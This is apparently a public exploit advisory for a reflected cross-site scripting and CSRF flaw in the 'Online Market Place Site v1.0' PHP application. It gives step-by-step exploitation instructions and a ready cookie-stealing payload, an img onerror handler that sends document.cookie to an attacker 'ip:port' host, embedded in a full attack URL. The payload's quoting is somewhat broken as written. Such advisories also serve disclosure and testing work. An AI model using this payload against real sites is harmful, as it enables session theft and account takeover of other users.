Exploit Title: Online Market Place Site v1.0 - XSS and CSRF

Date: April 17, 2022

Vendor Homepage: https://www.sourcecodester.com/php/15273/online-market-place-site-phpoop-free-source-code.html

Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/omps.zip

Tested on: Parrot Linux, Apache, Mysql

Vendor: oretnom23

Version: v1.0

Exploit Description:

Online Market Place v1.0 suffers from Cross Site Scripting and Cross Site Request Forgery Vulnerability that allowing attackers to steal the cookies of other users(possible account takeover).

---------- To Exploit ----------

Step 1: Register and login as a seller.

Step 2: Goto product page click action and select view product, you can see url like http://localhost/omps/seller/?page=products/view_details&id=4

Step 3: The page parameter is the vulnerable to cross site scripting because it's not sanitizing the user input.

step 4: put the payload  and you will see the pop window that reflects 1337.

step 5: Now attacker can send malicious url to other user then perfom csrf and finally takeover their account.

For stealing the cookies : <img src='x' onerror=this.src=http://ip:port/?'+document.cookie;>

Final Payload : http://localhost/omps/seller/?page=<img src='x' onerror=this.src=http://ip:port/?'+document.cookie;>&id=4